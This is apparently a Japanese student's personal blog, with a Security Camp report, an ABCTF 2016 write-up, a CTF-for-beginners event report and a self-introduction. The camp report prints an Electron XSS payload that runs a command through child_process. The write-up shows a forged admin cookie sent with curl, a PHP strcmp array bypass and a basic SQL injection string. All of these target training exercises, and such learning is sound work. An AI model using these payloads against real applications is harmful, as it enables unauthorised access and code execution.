2回戦ではヘッドレスブラウザを使ってプレイヤーの動きをシュミレートし自動化するプログラムを書いていた。

が、運営側がこれを止めるため、一つの処理のたびに1秒程度間隔を取るような仕様になったため
自動化したスクリプトを動かしていたがあまり手作業と時間がかわらずじまいになった。

自分が運営だったらおんなじことをしそうなので何も言えない。

5-B USBメモリからブートしてみよう

配られたUSBの初期状態がMBR方式だったため、第1パーティションのPBRに自作プログラムを置き、MBRパーティションのフラグを改変(0x80だった気がする)したものを上書きした。

Macは諦めて、Windows10のセキュアブートを無効化しLegacy Boot Orderをオンにして先ほどのUSBをぶっ刺し無事OS抜きのHello Worldができた。

DAY 4 - 8/12

6-A 次世代プラットフォームのセキュリティモデル考察

前半はElectronアプリの脆弱性について。

Electronはメインプロセス=>node.js、レンダラプロセス=>Chromium + node.jsのため通常のWebアプリのセキュリティ対策に加えローカルアプリにおける注意も必要になってくる。

演習用のElectronアプリで脆弱性を探した。

通常のWebアプリにおけるDOM-based XSSと異なる部分は、Electronの場合Nodeの機能が使えてしまい(例えBrowserWindow生成時にwebPreferences: { nodeIntegration : false }としても、XSS<webview nodeintegration .... >を流しこんだり、window.openしてnodeIntegration=1を付与すれば終わり *1 )アプリを使っているユーザーの権限で任意のコードが実行できてしまう。

実際にinnerHTML

<img src=# onerror="require('child_process').exec('xcalc', ()=>{})">

みたいな感じのものを流し込んでで電卓を起動させることができた。

またWebviewに関するXSSだと広告等で任意コード実行される危険性もある。

その他に実習で使ったアプリではshell.openExternalを使った脆弱性もあった。

後半はWebとネイティブのつなぐ技術のお話

Webとネイティブアプリの欠点を補う手段として、JavaScriptとネイティブプログラムを相互につなぐ機構を導入して、Webに足りない機能はNative言語で実装してJSから呼び出す、という形のアプリが増えてきた。

例えば、Password Manegerのように、Webviewでフォームが登場したときにJSを注入しパスワード等を自動入力するような活用事例がある。

実際にパスワードマネージャーを模した攻撃対象のアプリが配られ脆弱性を探す作業をした。

アプリではiOS(Natibe)=>JSにevaluteJavaScript、JS=>iOS(Native)にWKScriptMessageHandler、を使用していた。

このようなアプリケーションに存在し得る主な脆弱性としてOrigin Validation Error、Frame Confusion、JavaScript Injectionがあるので、これらをうまく使った偽のサイトを構築しパスワードを入力させ奪取した。

7-B 組込みリアルタイムOSとIoTシステム演習

GR-PEACH上のTOPPERS/ASPカーネルリアルタイムOSのプログラミングをした。

内容あるのとかなり知見が得られたので後日Qiitaに別記事で投稿でもしようかなと思っています。

ひたすら仕様書やカーネルのコードを読んで挙動を予想・把握する経験をしたのは初めてだった。 かなり新鮮だった。

DAY 5 - 8/13

グループワーク(後述)の発表があった。

実機がLibreOfficeしか入っていなかったようでメンバーが作ってくれたPowerPointのプレゼンがうまく動かなかったのが心残りではある。

クロージングも終わり、最後にプレゼントとして3つ本を頂いた。

本当に5日間あっという間に終わってしまった。

グループワーク

  • 【未来】10年後のIT社会のセキュリティのあるべき姿
  • 【倫理】子どもたちに正しくIT技術を身に着けさせるために
  • 【対策】小規模企業におけるセキュリティ対策
  • 【回避】攻撃者に狙われないために何をすればいいか

のテーマでキャンプの期間でグループで議論を深めたり、チューターや講師の方にお話を伺ったりした成果を最終日に発表するという形だった。

私達は2つ目の【倫理】子どもたちに正しくIT技術を身に着けさせるためにを選択した。

少ない睡眠時間を削って資料を作ったり、講義の合間を縫ってヒアリングをしたりでかなり逼迫したスケジュールだった。

生活とか

  • 朝弱いくせに夜更かししてしまい一回寝坊をした。
  • 恐らく少数派であるご飯が足りない人間だったので、野菜をおかずにして白飯だけおかわりしていたところ色々な人に写真を撮られた。

頂いたもの

このような感じです。

感想

小学生の作文の感想みたいだが
「楽しかった」
本当にこれに尽きる。これ以上の言葉が見当たらない。

今後もどんどん忙しくなるとは思うが、CTF/セキュリティの勉強も少しずつ進めていきたいと強く思った。同年代で、同じ志をもつ方とつながりをもつことができたも非常に大きい。チューターの方という技術面だけでない憧れの存在もできた。

なんにせよ自分の行動体系が基本締め切り駆動なので、今後小さな目標を見つけどんどんこなして行ければと感じる所存。

このような機会を提供してくださったIPA総務省及び協賛企業の方々には本当に感謝してもし尽くせない思いです。本当にありがとうございました。

*1:最近は改善されたので、レンダラプロセスでnodeが再活性化されることはほぼないみたい

ABCTF 2016 Write-up

ABCTF(http://abctf.xyz/)に適当に参加してきた。

忙しくて実質3時間ちょいぐらいしか解く時間とれなかったので

とりあえずなんも考えなくても解けるような問題しか解けてないのだが

Write-upが何となく書いてみたい…という衝動に駆られたので見よう見まねで書いてみようと思います。

ぼっちが寂しいので誰か来てと言ったところ、@sei06k14 がログインはしてくれたのだが、問題の回答形式間違えてた挙句放置かまされたため、実質ぼっちだった。

Caesar Salad - 10 (Cryptography)

$ echo 'xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}' | tr 'a-z' 'd-za-c'
abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

FLAG:abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - 10 (Web Exploitation)

HTML眺めてたら

...
<!-- 7xfsnj65gsklsjsdkj -->
...

っていうのがあったのでそのままpassword欄に突っ込んだら降ってきた

FLAG:ABCTF{insp3ct3d_dat_3l3m3nt}

Virtual Box 1 - 10 (Virtual Series)

配布されたWin98のイメージをVirtualBoxで開いたら、デスクトップにflag 1.docというファイルがあった。

f:id:taiyoslime:20160724095050p:plain

開いたら旗取れた

FLAG:ABCTF{FREE_P0INTS}

Just open it - 15 (Forensics)

$ strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg | ag ABCTF
P ABCTF{forensics_1_tooo_easy?}

FLAG:ABCTF{forensics_1_tooo_easy?}

Virtual Box 2 - 15 (Virtual Series)

Darn, I found this flag so I put it in flag 1.doc but I can’t seem to be able to see it anymore.

Virtual Box 1 - 10 (Virtual Series)で使ったflag 1.docに他に文字列無いかと思って調べたら後ろのほうにあった

FLAG:ABCTF{H1DDEN_AWAY}

GZ - 30 (Forensics)

調べたらgzipだったのでgzip -dするだけ

$ file flag
flag: gzip compressed data, was "flag", from Unix, last modified: Mon Jun 27 02:22:38 2016

$ cat flag | gzip -d
ABCTF{broken_zipper}

FLAG:ABCTF{broken_zipper}

gunzipっていうのがあるのを後で知った

Virtual Box 3 - 35 (Virtual Series)

This mysterious file was left here, but I have no idea how to open it. Do you? I left it in a folder named 2016 just for you.

問題文にある通り、2016というフォルダを探したところ中にflagfour.xlsxというのがあったので

適当にzipで展開して中探したら旗あった

FLAG:ABCTF{FR0M_THE_FUTURE}

The Flash - 35 (Web Exploitation)

Elemental - 10 (Web Exploitation)とおんなじ感じで

...
<!-- c3RvcHRoYXRqcw== -->
...

とあったので

$ echo "c3RvcHRoYXRqcw==" | base64 -D
stopthatjs

なのでこれを適当にpassword欄に突っ込む

レスポンスの一部がJavaScriptで書き換えられてるぽかったので元のHTMLソースをみたら旗あった

FLAG:ABCTF{no(d3)_js_is_s3cur3_dasjkhadbkjfbjfdjbfsdajfasdl}

Drive Home - 50 (Reconaissance)

We found this link scribbled on a piece of paper: document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing. It is broken but we need you to fix it!

問題文のURLの断片っぽいのの中のusp=sharingがとてもGoogleの某サービスっぽいので

https://drive.google.com/file/d/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

にアクセスしたところ旗書いてあった

FLAG:abctf{g00gle_driv3_1s_my_f4v0r1t3}

Chocolate - 50 (Web Exploitation)

Cookieみたらcoookieという値がe2FkbWluOmZhbHNlfQ%3D%3Dになっていたので

$ echo e2FkbWluOmZhbHNlfQ%3D%3D | nkf -w --url-input | base64 -D
{admin:false}

これを書き換えればよいので

$ echo -n '{admin:true}' | base64
e2FkbWluOnRydWV9

あとは

$ curl -c cookie http://yrmyzscnvh.abctf.xyz/web3/ ; cat cookie | ag yrmyzscnvh.abctf.xyz
...
yrmyzscnvh.abctf.xyz    FALSE   /web3/  FALSE   0   coookie e2FkbWluOmZhbHNlfQ%3D%3D

なのでこれのe2FkbWluOmZhbHNlfQ%3D%3De2FkbWluOnRydWV9に書き換えて保存し

$ curl -b cookie http://yrmyzscnvh.abctf.xyz/web3/
...
Wow! You're an admin, maybe. Well anyway, here is your flag, ABCTF{don't_trust_th3_coooki3}
...

FLAG:ABCTF{don't_trust_th3_coooki3}

Java Madness - 50 (Reverse Engineering)

コード読むだけ

FLAG:ABCTF{ftctseloocehtsiftcba}

Virtual Box 4 - 60 (Virtual Series)

What is this?

とりあえず問題文っぽい名前のファイルを探したところwhats thisというのが見つかった

f:id:taiyoslime:20160724092248p:plain

Where I am?と言われたので保存場所確認したら旗だった

FLAG:ABCTF{Y0U_F0UND_ME}

どうでもいいのだが、Y0UをYOUって打ち込んでてしばらく気づかなかった

MoonWalk - 60 (Forensics)

とりあえずbinwalkしてみる

$ binwalk PurpleThing.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 3200 x 2953, 8-bit/color RGBA, non-interlaced
85            0x55            Zlib compressed data, best compression
2757          0xAC5           Zlib compressed data, best compression
765455        0xBAE0F         JPEG image data, JFIF standard 1.01
765485        0xBAE2D         TIFF image data, big-endian, offset of first image directory: 8
1809691       0x1B9D1B        StuffIt Deluxe Segment (data): f

JPEGが埋め込まれてるっぽいのでforemostで取り出してあげた

FLAG:ABCTF{PNG_S0_C00l}

L33t H4xx0r - 70 (Web Exploitation)

コメントにsource.txtを見ろと書いてあるのでhttp://yrmyzscnvh.abctf.xyz/web6/source.txtを見に行くと

PHPコードで

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
        $success = true;
    }
    else {
...

みたいな部分がある。

PHPのstrcmpは例えば配列を比較しようとした場合、例外を投げるのではなくNULLを返すのだがPHPではNULL == 0なので

http://yrmyzscnvh.abctf.xyz/web6/?password[]=hogehoge

みたいなのを投げたら旗とれた

FLAG:abctf{always_know_whats_going_on}

AES Mess - 75 (Cryptography)

We encrypted a flag with AES-ECB encryption using a secret key, and got the hash: e220eb994c8fc16388dbd60a969d4953f042fc0bce25dbef573cf522636a1ba3fafa1a7c21ff824a5824c5dc4a376e75 However, we lost our plaintext flag and also lost our key and we can’t seem to decrypt the hash back :(. Luckily we encrypted a bunch of other flags with the same key. Can you recover the lost flag using this(https://gist.github.com/bobacadodl/a3c11057d81d81b4b7c941c6adbf36d5)?

AESはブロック暗号、かつECBモードは独立して暗号化されるので、32bitずつに区切ってリンク先と照合しながらやる

e220eb994c8fc16388dbd60a969d4953 => abctf{looks_like

f042fc0bce25dbef573cf522636a1ba3 => _you_can_break_a

fafa1a7c21ff824a5824c5dc4a376e75 => es}

FLAG:abctf{looks_like_you_can_break_aes}

Get ‘Em All - 80 (Web Exploitation)

' OR '1'='1みたいなのを入れたところSQLi成功して全レコードが表示された

FLAG:ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

Always So Itchy - 100(Reconaissance)

Dialga1234 - Johnny Boy

問題文をとりあえずググったところ、https://scratch.mit.edu/projects/108998724/ が見つかった Scratchのアプリを動かしたら旗取れた

FLAG:ABCTF{DoYouThinkISpentTooMuchTimeOnThis}


以下、挑戦したが解けなかったもの

JS Pls - 80 (Reverse Engineering)

eval(new Buffer('****************','base64').toString());

という形式だったので、とりあえず中をbase64decodeすると

部分的にかのJSFuck(http://www.jsfuck.com/)で難読化されたJavaScriptコードが出てきた。

f:id:taiyoslime:20160724092540p:plain

デコーダー書くのが非常に面倒だったのでソース(https://github.com/aemkei/jsfuck)みながら30分ほど人力でやったところ、最終的にどこかでミスをしたらしく盛大に事故った。

急がば回れという教訓の実体験。


感想とか

全然解いた気がしないので今後何かしらの大会には積極的に参加していきたい。

CTF for beginners 2016@長野に参加してきた

5/15(日)にctf4b@長野に参加してきた


長野県民としてこれほど嬉しい企画はない。 SECCONメルマガで「ctf4bを長野で開催する」という通知が届いてから5分で応募完了し、その日から非常にわくわくしていた私は当日意気揚々と長野市に向かった。

参加者の方は自分含めみんな長野の各地の山奥からのそのそ集結するんだろうなあと勝手に想像していたのだが、実際遠方からの参加者も多くいて驚いた。

講義はReversing,Web,Forensicsの3つを受けることができた。 思ったことをざっくりとまとめておく。

  • Reversing

    • apk解析
      いつも自分はDEXを取り出して、dex2jarをかけたあとそのままJD-GUIを使ってしまうのだが、今回はjarをさらにunzipかけてclassファイルをprocyonというデコンパイラで.javaを生成する仕方でやってみた。

    • elf解析
      今までgdbとobjdump使ってじっくり見てたけど、全く使った事なかったIDA使ってみて本当に感動した。実機にDemoバージョンを入れてみたので今後どんどん使っていきたい。

  • Web

    OSコマンドインジェクションだったり、PHPのis_numeric()の謎挙動、include()が生む脆弱性について等の講義だった。

    面白かったのは、PHPのType Confusionのお話
    PHPでは期待しない型の引数が与えられたときNULLを返す関数の仕様が多い。例えばstrcmpもそうなのだが、PHPでは NULL == 0 => tureなのである。strcmpは比較した結果が等しい時も0を返すため、これでパスワード等を比較していると脆弱性を生む原因になるみたいだ。

  • Forensics

    パケット解析をWireSharkで各ペインだったりフィルタだったりの使い方、TCP StreamとかProtocol Hierarchyの見方の説明を受けながら、実際に使ってみる感じだった。

    ファイル調査では、fileコマンドでは抽出できない入れ子ファイルの抽出はbinwalkでできるということを知った。

    個人的に一番楽しかった。


最後にミニコンテストのようなものを1時間ぐらいした。 誰がが旗取った時に「ピコーンピコーン!!」となるのが非常に新鮮だった。

結果は6位だった

f:id:taiyoslime:20160611225718p:plain

上から順番に解こうとしたため、難しい問題で時間を溶かした挙句最後に位置していたバイナリ問まで辿り着くのにかなり時間がかかってしまった。
数カ月前のJOI本選の教訓がまったく活かせていない。

今までは極めて牧歌的に、バイナリ眺めて全挙動を把握しきってから問題にとりかかるーーーということをしていたのだが
実際限られた時間の中で旗取るのにそんなことをしているのは明らかに無駄、いう極めて当たり前のことに気づけていなかった。

本当はWriteupなるものを書いてみたかったのだが、自分の作業の痕跡があまりにぐちゃぐちゃすぎたのでやめた。

これから少しづつOnline CTF等に参加しつつ実践経験を積んでいきたい。

自己紹介のようなもの

今までくだらない短文はTwitter、長めのものはFacebook、技術系の記事はQiitaとかに投稿していたのだが

比較的それらに投稿するまでもない長文とかを書く思考のゴミ箱が欲しかったのと、

あとは、周りがやっていてなんとなく面白そうだったという単純な衝動から始めてみました。

AzureにWordPress鯖が塩漬けされてた気がしたんだけど、ブログのためだけに使うのも癪だったのではてブにしてみた。CSSもかなりカスタマイズできるみたいだし。

技術系の話とその他思ったこととかを半々くらいに投稿していければなあと。

 

自己紹介

これやる必要あるのか?と思ったけど、はてブの通知が盛んに「まずは自己紹介しろ」みたいことを言ってくるのでとりあえず軽くしてみる。

 

taiyoslime(すらいむ!)
日本の田舎の学生

 

Web、特にフロントエンド周りの技術と、競技プログラミングが比較的得意。
15'-16'情報オリンピックには一応ひっそりと出てた。
フロントエンド周辺はとりあえず荒れてて次から次へと技術が生まれ、死んでを永遠に繰り返してるので正直つらい部分はある。たまにフロント関連のOSSにPR送って貢献したつもりになったりしてる。
今はCTF・セキュリティ、PythonHaskell機械学習あたりを勉強中。
好きな言語はAPL。
エディタはAtom+Vimキーバインド

 

デザイン系好きで(得意とは言っていない)、フォトショイラレぐらいは一通りは弄れるかも。あとは、3DCGだったり、アニメーション・動画制作だったり割りと好き。学生の特権を活かしてMayaで遊んでる。
Motion Graphicsという映像手法と、あとはProccesingだったりoF使ったりのGenerative art的な何かを最近なんだかんだやってる気がする。HaskellでライブコーディングしながらVJするおじさんに感化された影響。 

 

ピアノを14年くらい弾いてる。ヴィオラとドラムもやったりしてた。EDM系の音楽が好きで、特にプログレとトランスばっかり最近は聞いてる気がする。リビングのスピーカーで大音量で流すと家族から苦情が来る。DTMしたいけどここ4,5年言ってる気がするけどDAWと音源買うお金がない。つらい。

 

アニメも見る。日常系のゆるいものと、「ひぐらし」とか「がっこうぐらし!」*1など所謂鬱アニメと呼ばれる部類が好き。ただ、最近友人に「中二病でも恋がしたい!」をひたすらに勧められ某配信サイトで見たところ、「鉄板の展開も悪くないな..」と思い始めたところ。


ものすごくゲーム中毒者で、音ゲーをやるために足蹴なくゲーセンに通い、電車はスマホゲームをし、家に帰ったらYoutubeでゲームの実況をひたすら眺めるという残念なタイプで、人生の時間の95%くらいをゲーム関連に溶かしてる気がして最近はすごく焦燥感に駆られる。でもやめられない。おわり。

 

なんかあんま軽くなんなかった。しかもオタクがバレた。
やっぱ自己紹介なんてするんじゃなかった。

 


しばらくは過去ネタの投稿になるかも

気が向いたらCSSいじくり回してデザインも変えたい

 

3日坊主にならんように頑張りたい

*1:これ鬱アニメなんだろうか